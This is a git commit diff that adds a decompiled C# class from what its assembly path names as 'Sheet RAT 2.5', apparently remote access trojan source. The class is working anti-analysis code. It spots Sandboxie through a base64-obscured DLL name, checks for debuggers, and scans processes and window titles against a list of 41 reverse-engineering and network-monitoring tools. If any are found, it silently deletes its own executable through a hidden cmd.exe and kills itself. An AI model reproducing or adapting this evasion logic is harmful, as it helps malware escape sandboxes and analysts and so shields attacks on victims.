initial commit

2026-08-27 11:23:25 -06:00
commit faef36ee57
588 changed files with 40547 additions and 0 deletions
@@ -0,0 +1,136 @@
+// Decompiled with JetBrains decompiler
+// Type: MindLated.Protection.Anti.Runtime.SelfDeleteClass
+// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
+// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
+// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
+
+using System;
+using System.Windows.Forms;
+using System.Collections;
+using System.Diagnostics;
+using System.IO;
+using System.Reflection;
+using System.Text;
+
+//#nullable disable
+namespace MindLated.Protection.Anti.Runtime {
+
+internal class SelfDeleteClass
+{
+  public static void Init()
+  {
+    if (SelfDeleteClass.IsSandboxie())
+      SelfDeleteClass.SelfDelete();
+    if (SelfDeleteClass.IsDebugger())
+      SelfDeleteClass.SelfDelete();
+    if (!SelfDeleteClass.IsdnSpyRun())
+      return;
+    SelfDeleteClass.SelfDelete();
+  }
+
+  private static bool IsSandboxie() => SelfDeleteClass.IsDetected();
+
+  private static bool IsDebugger() => SelfDeleteClass.Run();
+
+  private static bool IsdnSpyRun() => SelfDeleteClass.ValueType();
+
+  private static void SelfDelete()
+  {
+    Process.Start(new ProcessStartInfo("cmd.exe", $"/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"{Assembly.GetExecutingAssembly().Location}\"")
+    {
+      WindowStyle = ProcessWindowStyle.Hidden
+    })?.Dispose();
+    Process.GetCurrentProcess().Kill();
+  }
+
+  private static bool ValueType()
+  {
+    return File.Exists(Environment.ExpandEnvironmentVariables("%appdata%") + "\\dnSpy\\dnSpy.xml");
+  }
+
+  private static IntPtr GetModuleHandle(string libName)
+  {
+    foreach (ProcessModule module in (ReadOnlyCollectionBase) Process.GetCurrentProcess().Modules)
+    {
+      if (module.ModuleName.ToLower().Contains(libName.ToLower()))
+        return module.BaseAddress;
+    }
+    return IntPtr.Zero;
+  }
+
+  private static bool IsDetected()
+  {
+    return SelfDeleteClass.GetModuleHandle(Encoding.UTF8.GetString(Convert.FromBase64String("U2JpZURsbC5kbGw="))) != IntPtr.Zero;
+  }
+
+  private static bool Run()
+  {
+    bool flag = false;
+    if (Debugger.IsAttached || Debugger.IsLogging())
+    {
+      flag = true;
+    }
+    else
+    {
+      string[] strArray = new string[41]
+      {
+        "codecracker",
+        "x32dbg",
+        "x64dbg",
+        "ollydbg",
+        "ida",
+        "charles",
+        "dnspy",
+        "simpleassembly",
+        "peek",
+        "httpanalyzer",
+        "httpdebug",
+        "fiddler",
+        "wireshark",
+        "dbx",
+        "mdbg",
+        "gdb",
+        "windbg",
+        "dbgclr",
+        "kdb",
+        "kgdb",
+        "mdb",
+        "processhacker",
+        "scylla_x86",
+        "scylla_x64",
+        "scylla",
+        "idau64",
+        "idau",
+        "idaq",
+        "idaq64",
+        "idaw",
+        "idaw64",
+        "idag",
+        "idag64",
+        "ida64",
+        "ida",
+        "ImportREC",
+        "IMMUNITYDEBUGGER",
+        "MegaDumper",
+        "CodeBrowser",
+        "reshacker",
+        "cheat engine"
+      };
+      foreach (Process process in Process.GetProcesses())
+      {
+        if (process != Process.GetCurrentProcess())
+        {
+          for (int index = 0; index < strArray.Length; ++index)
+          {
+            if (process.ProcessName.ToLower().Contains(strArray[index]))
+              flag = true;
+            if (process.MainWindowTitle.ToLower().Contains(strArray[index]))
+              flag = true;
+          }
+        }
+      }
+    }
+    return flag;
+  }
+}
+}